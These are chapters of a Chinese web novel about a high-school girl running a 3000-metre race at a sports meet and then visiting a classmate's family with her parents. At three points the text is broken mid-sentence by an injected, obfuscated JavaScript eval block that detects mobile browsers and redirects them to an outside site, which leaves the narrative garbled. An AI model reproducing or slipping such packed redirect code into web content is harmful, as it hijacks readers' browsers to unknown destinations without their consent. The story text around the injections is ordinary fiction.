虞霁月和苗时雨倒像是有用不完的力气,两个人趴在看台最前面的栏杆前,身体探出去大半,对着下面经过的每个班级方阵进行一系列煞有介事的点评,好像她们俩才是校长一样。 明知晚更夸张,就一个人安安静静在角落里坐着,腿上摊着本物理《必刷题》,旁边还放了几张草稿纸。 如果是在江大附中的体育课自由活动时间,明知晚回教室拿出物理题来刷,虽然用功得有点过分,至少不突兀。 可偏偏是现在。 在这样一个本该放松甚至允许一点点懈怠的场合。 如果明知晚是当着所有人的面,在人群尚未散去时就开始做题,东篱夏觉得自己大概会毫不犹豫地给她贴上哗众取宠的标签,并在心里多少生出点反感。 好能装啊。 但明知晚并不是在大家还在的时候就拿出题的。 她是等到同班的同学几乎都走光了,休息区彻底空荡下来,虞霁月和苗时雨也跑到前面看热闹之后,才坐下,翻开,开始演算。 会有人等观众走光了才开始表演吗? 她是真的不在意。东篱夏忽然清晰地意识到。 不在意别人会不会觉得她装,不在意是否合群,不在意此时此刻应该做什么。 她总觉得,无论是虞霁月还是明知晚,她们的行为准则似乎都完全来源于自己坚固而完整的世界,外界的目光、评价、潜在的规则统统很难真正渗透进去。 东篱夏开始觉得,自己先前那点基于常理的评判,多少显得有些浅薄无力。 她们的世界到底里装着什么,是什么支撑她们如此理所当然地不同,并且安之若素? 东篱夏心里也无比清楚,自己和明知晚是两类截然不同的物种。 她习惯了观察氛围、在意他人的感受、努力融入环境不让自己显得突兀,而明知晚似乎只需要对自己负责。 好奇归好奇,东篱夏明白,自己大概永远也无法真正走近明知晚的世界,正如明知晚大概也从不需要走进她的世界一样。 一个人的山海已经足够浩瀚了。 开幕式结束,贺疏放带队回来,路过她的时候不忘轻声宽慰了一句,“别太紧张,放轻松,一定没问题的。” 还没等到她回答,广播就通知男子200米短跑运动员开始检录,他对她笑笑,就匆匆离去。 贺疏放今天格外忙,体委得负责组织本班运动员检录、提醒赛程、协调后勤,更何况自己还报了跳远和二百米。 他大概是没空来看三千米了吧。 想到这,她又莫名其妙有点失落。 她其实有点想他在。 不是需要他做什么,甚至不需要他说什么,只是想到他在场边,就莫名其妙会更安心一点。 念头刚冒出来,就被她强行按了下去。 太矫情了,她想。 三千米是她自己的战斗。 东篱夏的心跳越跳越快,太阳已经慢慢上来,她手脚却反常地发冷,明明还没轮到,胃却已经隐隐抽搐,脑子里不受控制地预演着各种糟糕的画面。 她会不会跑一半岔气疼得蹲下?或者体力不支眼前发黑晕过去?甚至惨一点,会不会当场吐出来? 那可就丢人丢大了。 时间的流逝在焦虑的等待中被拉得模糊,不知过了多久,广播忽然通知女子三千米运动员开始检录,虞霁月凑了过来,自然而然地握住了她冰凉的手,用力捏了捏。 “我去,冰死我了!”松手后,虞霁月夸张地甩了甩,明显发现了她的紧张,一贯举重若轻地安慰着,“你别老瞎紧张,枪一响,脑子一空,腿自己就知道该怎么动了。” “再说了,”她歪了歪头,露出一点狡黠的笑,“咱俩可是得了贺大体委独家真传的,每天风雨无阻加练,别的班那些跑三千米的,哪个有咱俩这么高的待遇?优势在我!” 东篱夏努力牵动嘴角,对虞霁月回应了一个感激的笑容。 两人一起走向检录处,远远地就看见了等在那里的苗时雨和明知晚。苗时雨正原地做着高抬腿热身,明知晚也在一旁拉伸着腿部韧带,把齐肩短发在脑后扎了一个小揪。 四个人,四种截然不同的状态,因为同一条起跑线短暂地交汇。 她东篱夏敏感、怯懦、总是思前想后、靠着一点“能忍”,和她们三个并肩站在这里。 或许不如苗时雨耀眼,不如虞霁月洒脱,不如明知晚强悍,但这就是她。 她不是一个人在跑。 走上跑到起跑线附近集合时,东篱夏才知道,二十个班原本最多可以有四十人参赛,实际报名的只有十五个女生,许多班级在这个项目上直接选择了放弃。 负责检录的老师反反复复嘱咐她们安全第一、量力而行,能站上起跑线,就已经赢过那些空项的班级了。 东篱夏站在自己的位置上,做了几次深呼吸,目光又一次快速掠过看台上二班的方向。 没有。 那个清瘦挺拔的身影并不在视线可及的范围内。 心底那点隐秘的期待悄无声息地湮灭了,不可为人说的失望浮上来,但很快就被另一种更强大的情绪覆盖了过去。 算了,她在心里对自己说。 看不看,他都在忙他的事,而这场比赛是你自己的。 东篱夏深吸一口气,将注意力全部收回到脚下,收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975635|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到即将开始的漫长七圈半。 不知从什么时候开始,她总是会给自己设定一些千奇百怪的唯心主义因果联系问题:如果这次考试考好,接下来的一个月就会顺利;如果这道难题解出来,就说明运气站在自己这边。 像从前许许多多次一样,一个念头忽然涌上她的脑海—— 如果我能真的坚持下去一步不落地跑完这三千米,那么我的高中生活乃至更远的未来,就能真的拥有关关难过关关过的勇气。 它将会是一片坦途吗?未必。 但至少我会相信,我有能力跑完属于我的每一段长跑。 这个念头忽然带给了东篱夏一种孤注一掷的平静。 喧哗的人声、广播的嘈杂、甚至贺疏放是否在场都渐渐淡去,她的世界里只剩下前方即将延伸出去的跑道,和自己胸腔里越来越清晰、越来越坚定的心跳。 发令员举起了手中的信号枪。 枪响,十五道身影同时向前涌去,东篱夏牢牢记着贺疏放那些晚上反复提醒的“开始时候一定要压住节奏”,没有跟着冲出去,甚至有意让自己落在后面。 第一圈,她感觉还好,除了心跳有些快,小腿有些沉。 第二圈,呼吸开始变得粗重,她看到虞霁月依旧跑在前面,明知晚似乎加速了一点,超过了一个人。而自己依旧按照原有的速度,不疾不徐。 第三圈,她的肺里开始着火,双腿灌了铅一样,旁边有人开始减速,甚至有人改跑为走,而她依旧死死咬着牙,试图重新控制混乱的呼吸。 跑完,就比跑不完要好。 第四圈,第五圈,世界缩小到只剩下脚下的跑道和自己的喘息,东篱夏的视线开始模糊,她不知道自己现在第几名,也完全不关心,好像超过了一个走路的人,又超过了一个速度明显慢下来的。 就在她感觉自己真的要到极限,下一秒可能就要瘫倒的时候,她看见了前面的明知晚。 明知晚的步伐也不再稳定,每一步却依然带着那股狠绝的劲儿。 “在那种好像一切都快要撑不住的‘死地’里,你能无比清晰地感觉到你的意志还能命令你的躯体,会莫名其妙很踏实。” 这是明知晚对她们说过的为数不多的话。 而东篱夏只有一个更朴素的念头:超过她。 不是因为好胜,而是因为她忽然开始想,如果自己能超过这样的明知晚,是不是就能证明,这些夜晚笨拙的坚持、贺疏放的陪伴、还有自己的耐力真的有用? 肺部的灼痛感达到了顶峰,喉咙腥甜,她和明知晚的距离一点点拉近,并行,目光一瞬间交汇,东篱夏成功超了过去。 没有喜悦,只有更深的窒息。 第六圈,第七圈。 最后的半圈,终点线明明就在视野里,却好像永远也跑不到。看台上的喧嚣再次涌入耳中,她似乎听到了二班的方向传来呐喊,但早就听不真切。 冲过终点线的那一刻,东篱夏感觉自己要昏过去了。 天旋地转。 23. 刚刚好 不顾眼前阵阵发黑,东篱夏踉跄着逃离还在陆续冲线的跑道,朝着草坪上的苗时雨歪斜过去,一屁股瘫软在地,再也顾不得形象。 苗时雨瘫坐在她旁边,脸涨得通红,呼哧带喘,朝她笑了笑,却也说不出话。下一个来的人是明知晚,她没有立刻坐下,先双手撑膝剧烈地咳了一会儿,才慢慢坐下身去,脸上仍旧没什么表情。 最后,虞霁月是走过来的,喘得比东篱夏还厉害,对几个人摆了摆手,示意自己也说不出话。 东篱夏有些惊讶,她原以为虞霁月至少会坚持着跑完。 等虞霁月终于顺过了气,才呼哧带喘地解释道,“跑到后面感觉特别难受的时候,我突然就不想忍了。” 她笑了笑,更多的是如释重负,“我知道我的边界大概在哪儿了,再往前就是纯粹的痛苦,没什么新的风景可看了。为了一点点名次或者一个执念去硬扛纯粹的痛苦,我觉得不值当。走到终点,也一样算完成了比赛,体验过了。” 依旧是一个很虞霁月的理由。不悲壮,不煽情,清醒到甚至有点任性。 过了没多久,广播里传来最终成绩的播报,东篱夏晕乎乎的,只依稀听见了几个片段: 苗时雨,第三名; 东篱夏,第七名; 明知晚,第九名; 虞霁月,第十二名。 后面好像还有三个人没完成比赛。 第七名?东篱夏迟钝地反应着。 十五个人里第七,好像还不算太差? 更重要的是,她一步没走,硬撑着跑完了。 又过了几分钟,除了苗时雨恢复了点力气,其他三个姑娘依旧没力气站起来,统统随意往草坪上一瘫。 晕晕乎乎间,东篱夏突然望见远处有两个身影朝着终点区这边跑过来,看清来人时,残存的晕眩感差点让她以为自己出现了幻觉。 跑在前面的是贺疏放,而跟在他身后几步远,同样朝这个方向小跑过来的另一个人,却让她彻底呆住了。 是韩慎谦。 是韩慎谦? 东篱夏的大脑早就被剧烈的体力消耗搅得一团浆糊,此刻更是塞满了问号。以初中三年的了解,韩慎谦绝对不属于在运动会上会认真观看比赛甚至跑来终点凑热闹的类型。 他来干什么? 下一秒,她的疑问得到了解答。 韩慎谦越过了瘫坐在地上喘气的苗时雨,甚至没有多看东篱夏这个老同学一眼,脚步停在了坐在一旁草坪上的明知晚面前。 她分明看见,他脸上那种惯常的温和与疏离头一次出现了裂痕。 韩慎谦微微蹙眉,快速地将明知晚从头到脚扫视了一遍,声音比东篱夏记忆里更低沉,语速也快了一些,“你感觉怎么样?还能撑住吗?” 东篱夏几乎看呆了。 在她的认知里,韩慎谦是她见过最“人机”的人,身体里自有一套写死的代码——尊敬老师、体面待人、帮助同学、顺便碾压她这个第二名。 可此时此刻,韩慎谦的眉头分明是真真切切地皱了起来,眼神里的关切几乎要溢出来,语气里甚至带了点在他身上很罕见的,独属于少年人的急迫。 原来他也会这样失态。 东篱夏更好奇明知晚到底是何方神圣了,竟然能找到开启韩慎谦这个“人机”真人模式的开关。 对于韩慎谦的出现,正主明知晚的反应却出人意料的淡定,只是淡淡瞥了他一眼,手上不忘重新把跑散下来的齐肩短发扎成小揪,随口敷衍了一句,“我没事,都是跑完正常的反应。” 韩慎谦似乎也并不介意,脸上的紧张并未完全褪去,只是默默地站在她身旁半步远的位置,目光仍不时落在明知晚身上,确认她的状态。 “我的天。”东篱夏下意识地喃喃出声,扯了扯旁边站着的苗时雨的裤脚,用眼神疯狂示意那边,“韩慎谦和明知晚,啥情况啊?” 苗时雨倒是了然,“他俩在我们班在是前后桌,知晚那种性子,能跟她说得上话的人不多,韩慎谦算一个。” 东篱夏刚想接着问,忽然感觉一片阴影从上方罩了下来,带着熟悉的洗衣服香味。 贺疏放不知道什么时候闪现到了她面前,挡住了她吃瓜的视线。 他微微弯着腰,低头看着她。 东篱夏还沉浸在目睹韩慎谦变异的冲击里,看向贺疏放的眼神有点发直,然后,她就看见贺疏放蹲下身子,伸出手,在她汗涔涔的额头上不轻不重地弹了一个脑瓜崩。 “喂!” 东篱夏下意识捂住额头,轻呼一声,瞪大了眼睛看向贺疏放,脸颊本来就因为剧烈运动通红,被贺疏放这么一弄,腾地一下烧得更厉害了。 这动作也太暧昧了吧! 贺疏放看着她瞬间红透的脸和瞪圆的眼,似乎也意识到自己举动有点逾矩,耳根悄然爬上一抹可疑的红,但也很快掩饰过去,递过来一瓶拧开了瓶盖的矿泉水。 “慢点喝,别呛着。”他的声音放得很柔,带着跑过来的微喘。 他又拿出一瓶,递给旁边的虞霁月,“你的。” 虞霁月接过水,看看贺疏放,又看看快熟透了的东篱夏,一脸意味深长的姨母笑,“哎哟,我也是沾上咱们小夏的光,蹭上咱们体委的福利了?” 贺疏放被她说得有些窘迫,耳朵那抹红似乎又扩散了一点,连忙辩解道,“哪跟哪啊,你们跑三千米辛苦了,来关怀一下你俩,本职工作而已。” 听到他否认,东篱夏心里又有点小失落。 果然是她自己想多了。 没等她继续伤春悲秋下去,贺疏放避开了虞霁月调侃的眼神,重新看向她,语气认真,“感觉怎么样?有没有哪里特别不舒服?” 刚才向苗时雨打探八卦已经耗费了她所有的气力,刚要说话,就剧烈咳了好几声,只好作罢,摇了摇头又点了点头,指了指自己的喉咙,表情痛苦。 “说不出话就别说了。”贺疏放立刻道,“能走吗?需不需要我扶你回去?” 他伸出手,似乎想扶她的胳膊,又在半空中犹豫地停住了。 虞霁月在一旁凉凉地开口:“体委,你怎么不问问我要不要扶啊?我也刚跑完三千,虽然走了一段,但也消耗巨大好吧?” 贺疏放和东篱夏同时被她说得有点不好意思。 贺疏放半是玩笑半是无奈第回敬道,“你多机灵啊,知道爱惜自己,撑不住了就走,哪像东篱夏。” 他又看向东篱夏,眼神里带着点拿她没办法的嗔怪,“就知道对自己狠,拼了命地跑。” 就在这时,一直饶有兴致看着几人互动的苗时雨忽然笑了起来,扒拉了一下虞霁月,“你看韩慎谦和贺疏放,像不像那种古代大将军凯旋而归,在家里备好了酒菜跑出来迎接的将军夫人?” 虞霁月也乐了,“没准人家表演的是‘爷娘闻女来,出郭相扶将’呢。” 韩慎谦显然听到了,朝这边看了一眼,脸上没什么表情,只见明知晚已经缓过来能自己起身,便不再试图搀扶,只是安静地跟在她身后半步的位置,陪着她们慢慢往一班看台的方向走去。 贺疏放却被苗时雨说得脸上有点挂不住,嘴硬道,“什么将军夫人,我今天又是跳远又是二百米的,真要说,我才是出战的大将军好吗?” 这话一出,立刻引来虞霁月毫不客气的嘲笑。 玩笑归玩笑,贺疏放再次看向东篱夏,伸出手想扶她时,东篱夏却摇了摇头。 不是不想,而是田径场上人来人往,众目睽睽,让他搀扶着走,实在太惹眼了。 她不想成为江附二十个班新的谈资,也不想给贺疏放惹来不必要的闲话。 贺疏放显然也想到了这一层,伸出的手收了回去,看了看虞霁月,“那你们俩互相搀着点,慢慢走回去。别急着走,缓好了再说。” “知道啦。”虞霁月拉长了声音应道,自己先站起身,又伸出手用力把东篱夏从草地上捞了起来。 东篱夏腿一软,差点又坐回去,虞霁月赶紧架住她,两个女孩互相依靠着慢慢迈开步子。,贺疏放就跟在她们旁边,保持着一步的距离。 她靠在虞霁月肩头,一步一步慢慢地走着、身体是疲惫不堪的,胸腔还在作痛,喉咙干涩,但她心里却有一种难以言喻的踏实。 好像一切都刚刚好。 两个人互相搀扶着回到班级看台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979540|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不久就到了午饭时间。家委会统一订的KFC分发到每个人手里,汉堡的香气弥漫开来,刚跑完三千米的东篱夏却只觉得想吐。 她勉强吃了半个汉堡,喝了几口冰可乐。剩下的食物就被她原样盖好放在了一边。 午休了一个多小时,下午场的比赛再一次热火朝天开始,苗时雨突然偷摸闪击二班看台,在虞霁月旁边蹲了下来,压低了声音,“走啊霁月,我听他们说江大里面有露天乒乓球案子,我刚才看了,自动贩卖机里甚至卖球拍,你玩不玩? “啊?” 虞霁月没什么反应,旁边的东篱夏倒是着实吃了一惊。 三千米的威力她亲身领教了,虞霁月甚至最后还走了几百米,苗时雨现在居然能活蹦乱跳地去邀请她打乒乓球? 虞霁月当机立断,“这么酷,走呗?” 东篱夏一时无言,她甚至没来得及问一句,学校不是特意通知,不让参加运动会的学生出体育场吗? 虞霁月被苗时雨拐走后,东篱夏一个人没意思,就在甄盼旁边坐了下来。 甄盼看她过来,立刻搂住她的肩膀,“累坏了吧?看你这小脸白的,还没缓过来呢?” 东篱夏侧过头,笑容有些无力,“可不,你比得怎么样?” “还行,混了个第五。”甄盼对这个名次明显很满意,眼里都闪着光,“我们小个子也不耽误跳远,再说了,你太厉害了吧夏夏!三千米啊,居然跑了全校第七,我光听着就觉得腿软。” 东篱夏有点不好意思,刚下意识要拒绝,又觉得以甄盼的性子肯定要吐槽她假谦虚,索性应了下来,两人有一搭没一搭地聊着天。 傍晚,运动会闭幕式开始,所有班级在田径场中央集合,沈婕负责进行总结和颁奖,先例行公事地表扬了大家的拼搏精神,最后颁发“精神文明奖”,一班和二班都拿到了。 一班总分排在年级第十三,而二班,居然挤进了前十,二十个班里排在第六名。 这里面有不少是贺疏放和她们两个的功劳。 没等二班同学高兴多久,主席台上的沈婕话锋忽然一转,语气忽然严肃起来: “在运动会期间,我们也发现了个别同学,组织纪律性不强,没有严格遵守学校规定,擅自离开指定区域,甚至跑到江大校园内进行与运动会无关的活动!在这里,我严肃对这两位同学提出通报批评!” 东篱夏心里一紧。 “高一十四班,商周、刘星冉!希望其他同学引以为戒!” 居然不是虞霁月和苗时雨? 解散后,东篱夏忍不住找到虞霁月问到底是什么情况。 “抓了呀,怎么没抓?”虞霁月狡黠地眨眨眼,压低声音解释道,“篮球场和乒乓球场就二百米不到,沈婕是从篮球场那边过来的,先逮住的十四班那俩大哥,我和时雨看见她带着人过来,我球拍一扔,趁着她们训话那俩大哥,直接就逃之夭夭了。” 有实力。 回到看台收拾东西时,消失了大半天的柳鸿拿着成绩单,慢条斯理地踱到班级队伍前,脸上仍旧是那种似笑非笑让人琢磨不透的神情。 “咱们班这次运动会,总分年级第六,不错。” 他顿了顿,“不过,人家一班学习一直比咱们强,到了运动会上,你们一个个劲儿倒是上来了,把人家给超了?” 他目光在几个出力颇多的同学脸上停了停,包括东篱夏和虞霁月,自然也跑不掉贺疏放,最后慢吞吞地总结,“你们这劲头啊,都使在什么地方了?” 这话说得不重,但多少让东篱夏有点不舒服。 努力难道还分正统和旁门左道吗? 在题海里的挣扎是努力,在跑道上的坚持,就不算了吗? 夕阳西下,她在江大附中的第一次运动会就这么结束了。 没有初中时全班拧成一股绳、喊哑嗓子的热血沸腾,没有非得争个你死我活的集体荣誉感爆棚。更多的是个人的体验,零散的画面,无尽的疲惫,和一点点算不上精彩的小插曲。 除了三千米以外,一切都很平淡。 但又好像有种刚刚好的幸福在平淡的余韵里静静生长。 这就够了。 24. 做贼心虚 运动会结束后的第二天,也就是十一假期前的最后一天,江大附中象征性安排了一天的课,倒也算人性,取消了晚课和晚自习,四点四十上完最后一节就放学。 讲台上守最后一班岗的是柳鸿,他的心思显然也早飘到了国庆假期补课猛猛捞一笔上,时不时看两眼腕表,连带着整个二班都有点心浮气躁。 一面是因为要放假了,另一方面是因为江大附中在放假前的最后一天狠狠证明了这座江城老牌名校的含金量。 几乎每一科的老师都用当天课上最后五分钟指使课代表发假期卷子,光是东篱夏和虞霁月负责的语文卷子,就有三十九张——三套完整的模拟题,五篇文言文实词训练,八张古诗默写,两篇作文纸。 “十一假期,正好是查漏补缺、巩固提高的黄金时期。”付观亭笑眯眯地如是说。 虞霁月发卷子发得手都要酸了,悄悄在教室后面跟东篱夏吐槽,“好不容易放七天假期,干啥不是黄金时期啊,怎么非得和学习扯上关系?” 东篱夏看着自己桌子上离开一会儿就堆得小山一样的卷子,也无奈地摇了摇头。 “这几套卷子,涵盖了前半学期的核心知识点,认真做完,回来我们讲。” 化学老师如是安排。 “也就七八套卷吧,平均一天一套多一点,抓紧时间,完全来得及。” 这是Christine笑眯眯地在宣判。 “假期放松可以,但学习节奏不能完全断掉,回来就月考了,你们一个个都好好准备着,别被人家一班落下。” 柳鸿也假模假样嘱咐了两句安全问题,又一次成功起承转一班。 …… 数学、物理、化学、英语、语文、生物……甚至史地政老师也来雪上加霜,说月考要考九科,连史地政也一科留了三套模拟题。 “我靠,这么多卷子,我书包拉链撑断了!江大附中,赔我书包!” 放学铃打响,不知是哪位高人率先发起抗议的呐喊,班级里很快此起彼伏闹作一片—— “我的妈呀,这是要我们的命啊……” “我感觉我初中三年寒暑假加起来,都没这么多卷子……” “江大附中,赔我十一!” “江大附中,赔我假期!” “江大附中,还我命来!” “江大附中,你要索就索我的命,别索我假期的命啊!” 二班的学生们彻底疯狂,但显然再多的呐喊也毫无用处。 抱怨声和试卷的哗啦声,在放学铃响的那一刻达到了顶峰,每个人都背着鼓鼓囊囊几乎要炸开的书包往教室门外挤,实在蔚为壮观,又多少带点悲壮。 东篱夏自然也未能幸免。 她的书包沉得坠肩膀,手里还不得不额外拎了一个装满新发试卷的帆布袋,手指被勒得发紫,一想到还要一个人拎着这些东西走十分钟回到家里,只觉得身心俱疲。 就在这时,她忽然在校门外看到了两个熟悉的身影。 是妈妈和爸爸,两个人正探头探脑朝学校里面张望,生怕漏掉东篱夏的身影。 她转念一想,也对,每年十一假期爸爸妈妈都会回家的。 但两个人一起来接她放学,确实是第一次。 看到她大包小裹的出来,爹妈立刻大步迎了上来,东耀景先生不由分说地接过东篱夏肩上过分沉重的书包,徐瑞敏女士又伸手去接她手里的帆布袋。 “嚯,这么沉!你们学校这是给你们发金子了?” 肩膀骤然一轻,勒得充血的手指成功解放,东篱夏怔怔地看着爸爸妈妈轻松地将她的重负转移到自己肩上、手上,妈妈在一旁温柔地笑着,伸手理了理她出来时蹭乱的刘海。 她鼻子猛地一酸。 从初中起,甚至更早,自打父母去北京工作后,放学一个人回家就是常态。无论刮风下雨,发了多少东西,书包有多沉,她都是一个人慢慢走,慢慢消化。 她早已经习惯了独立,习惯了不麻烦任何人。 可是现在爸爸宽厚的肩膀扛起了她的书包,妈妈的手接过她的帆布袋,他们一起站在这里,专门来接她。 她忽然有了一种被好好接住、稳稳爱着的感觉。 那么具体,那么突如其来。 她的声音很轻很轻,“没有,就是作业太多了。” “没事儿,回家先好好歇歇。”爸爸摸了摸她的脑袋,“学习的事儿慢慢来。” 一家三口没有直接回江北爷爷奶奶家,而是先去了学校旁边的出租屋收拾东西。 “委屈你们娘俩了,”爸爸转身对东篱夏说,“住得还习惯吗?是不是太朴素了点?” 东篱夏摇摇头,就算这里没有江北家里宽敞,没有爷爷做的红烧鱼,没有奶奶的唠叨,但也有妈妈特意为她挑选的不透光窗帘,有护眼台灯洒下的柔柔的光。 “挺好的,”东篱夏语气很认真,“挺温暖的。” 真的有一种实实在在的“家”的感觉。 正准备换鞋,东篱夏眼尖地发现,门口靠墙的地上除了爸爸的大行李箱,又整整齐齐码着几个礼盒,一盒是包装考究的茶叶,另一盒则是英文标识的进口牛奶。 她记得早上上学的时候还没有。 “妈,这是干啥?” 妈妈一边挂外套,一边解释道,“哦,那是你爸回来之后去商场买的。正好他回来了,我们想着趁你贺大大周阿姨他们还没回呼县老家,赶紧过去拜访一下。” 爸爸立刻接话,“对对,你贺大大做家居生意的,我们公司不是做地板嘛,有时候也能搭上话。这邻里邻居的,你又和人家儿子在一个班,还是同桌,于情于理都得走动走动。一点心意,人情往来嘛。” 爹妈一脸理所当然,可东篱夏心里却咯噔一下。 要去贺疏放家见他父母? 明明知道不是那么回事,明明父母话里话外都是人情往来,但东篱夏就是控制不住地从那些客观理由的罅隙里,诡异地联想到电视剧里双方父母坐下来“相看”的场景。 她甚至能想象出待会儿的画面:两家大人客气寒暄,她和贺疏放被迫进行一些友好互动,然后在双方父母慈爱的目光下,尴尬地微笑、点头、应和…… 光是想想,脚趾就忍不住要抠地了。 “我也要去吗?”她最后试图挣扎了一下。 “当然啊,”妈妈奇怪地看了她一眼,“你是小辈,又和他们家儿子是同班同学,不去打个招呼像什么话?紧张啥,就串个门而已。” 爸爸也笑着附和,“就是,大大方方的。” 东篱夏哑口无言。 父母的世界光明磊落、人情练达,只有她自己做贼心虚。 东爸爸早就和贺大大打好了招呼,她只能跟着父母挪到对门,门还没敲,就听见里面传来热情的招呼声,紧接着,门就从里面打开了。 贺大大和周阿姨早就等在门口,而在他们身后半步,贺疏放就站在那里。 这是东篱夏第一次见贺疏放除了迷彩服和校服以外的衣服,只穿了一件简单的白T裇,柔软的棉质面料勾勒出少年清瘦的肩线。 贺疏放脸上倒是没什么局促,很自然地跟着父母迎出来。 或许是江城人血脉里自带的“大大方方”本能,又或许是不想给父母丢脸,东篱夏深吸一口气,对着贺大大和周阿姨浅浅鞠了个躬,“贺大大好,周阿姨好,我是东篱夏。” “哎,好好好!篱夏真是又漂亮又懂事!”周阿姨立刻将慈爱的目光投向她,贺大大也连连点头。 “诶呀,老东,弟妹,你们太客气了,还带什么东西,快请进快请进!” 东耀景先生也立刻进入社交状态,一边说着客套话,一边就要把礼物递过去,“哎呀,就是一点心意,邻里邻居的,孩子又在一个班,多亏你们家疏放平时帮衬我们夏夏。” “帮衬什么呀,是你们家篱夏优秀,我们疏放才要多向篱夏学习呢!这东西我们不能收,太见外了!”周阿姨连忙推拒。 接下来,便上演了东篱夏无比熟悉又始终无法完全融入的成年人世界经典戏码——“撕吧”。 两对父母围绕着那两盒茶叶牛奶,展开了长达数分钟的推让与客套。 “诶呀,拿着拿着!” “不行不行,这哪成!” “就是一点心意!” “太破费了,下次不许这样!” 东篱夏僵立在父母侧后方,手脚都不知道该往哪儿放,目光不经意地与几步之外同样暂时被晾在一边的贺疏放对上了。 他显然也对父母这种过于热情的客套习以为常,脸上又无奈又好笑,见东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983749|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篱夏看过来,微微耸了耸肩,递来一个心照不宣的眼神。 一瞬间,隔着大人们热闹的虚与委蛇,东篱夏忽然觉得,她和贺疏放被奇异地拉到了同一个阵营。 在这个堆满人情世故的屋子里,只有他们俩是暂时游离在外的自己人。 五点多的秋日夕阳透过客厅明亮的落地窗斜射进来,恰好洒在贺疏放站的一小片区域,他站在光晕里,就那样对她笑。 东篱夏的心跳毫无预兆地漏了一拍。 他真好看。 不是那种带有任何旖旎幻想的好看,而是一种纯粹的独属于少年人的干净。 夕阳的笼罩下,就这样被放大得惊心动魄。 大人们终于结束了第一轮的“撕吧”,以周阿姨和贺大大嗔怪着收下礼物告终。 “下不为例啊老东!再这样我可生气了!” 周阿姨连连吩咐道,“疏放,快去把水果端出来,给叔叔阿姨和篱夏吃。”周阿姨连连吩咐道。 “好。”贺疏放应得爽快,转身就进了厨房,很快端出一个摆得满满当当的果盘来,很自然地拿起果盘旁的小叉子,先递给了东篱夏的爸爸妈妈:“叔叔阿姨,吃水果。” “哎,谢谢疏放,真懂事!”徐瑞敏女士接过,笑着夸赞。 东耀景先生本就对大大方方的孩子有好感,贺疏放这接人待物的劲儿,显然很对他胃口。 果然,接下来的话题就在两家家长心照不宣的引导下,滑向了和谐的商业互吹。 “老东,弟妹,你们家篱夏真是没得说,中考状元!人还这么文静乖巧,一看就是读书的好苗子,气质真好,长得也俊。”贺大大率先开夸。 “哪里哪里,中考什么的都是运气。你们家疏放一表人才,高高帅帅的,看着就精神。”爸爸立刻回敬,“男孩子,就得这样大大方方的,好!” “就是,疏放这孩子在班里也热心,我听夏夏说,还是体委,肯定特别有责任心。”徐瑞敏女士开团秒跟。 周阿姨连忙摆手:“他呀,也就表面看着还行,实际上毛躁着呢!哪像你们篱夏这么沉稳,一看就是心里有数的好孩子,看着就叫人喜欢。” 东篱夏被这轮番的夸奖弄得面红耳赤,只能低着头如坐针毡。 就在她头越来越低的时候,忽然听见贺疏放的声音响了起来,“是呢,叔叔阿姨,我也觉得篱夏特别漂亮,而且性格还好,特别有耐心。我语文英语不行,平时没少麻烦她。” 这话一出,大人们都愣了一下,随即爆发出一阵更欢快的笑声。 “瞧瞧,孩子们自己处得也好!”贺大大乐呵呵地说。 东篱夏脑袋嗡的一声。 他当着双方父母的面说她漂亮,还说她性格好? 粉红色泡泡咕嘟咕嘟往上冒。 可下一秒,理智又挣扎着占了上风——他语气那么坦荡,那么自然,或许真的只是出于礼貌的附和,或者单纯的欣赏? 她始终不敢抬头去看贺疏放此刻的表情。 大人们又热络地聊了半个多小时,话题从孩子学习跳到最近的生意行情,又关心起东篱夏妈妈的腰恢复得如何。 期间,周阿姨和贺大大几次热情地挽留他们吃晚饭,自然又被东篱夏父母一番“不了不了,太打扰了”、“家里老人还等着呢”的推辞给挡了回去。 又是一番宾主尽欢的拉扯,一家三口才终于成功脱身,回到了自己家那个小小的出租屋。 一关上门,爸爸就忍不住对妈妈感叹:“贺家这小子,是真不错!有眼力见儿,说话也大方,还知道夸咱们夏夏。” 妈妈也笑着点头:“是挺懂事的。看着跟夏夏相处得也还行?” 两人的目光齐齐投向正在换鞋的东篱夏。 东篱夏闻言强作镇定,尽量让声音听起来平淡一点,避重就轻答道,“嗯,还行。他是体委,平时挺照顾同学的。” 父母似乎也没想深究,只是对贺疏放印象颇佳,又说了几句闲话,妈妈便开始催促,“夏夏,快去把你这几天要用的书和衣服收拾一下,一会儿咱们就去江北你爷爷奶奶那儿。十一假期你就住那边,等收假了再回这边来住。” 要回爷爷奶奶家住了。 也就是说,要有整整七天,见不到对门那个人了。 “知道了,妈。” 25. 见南山 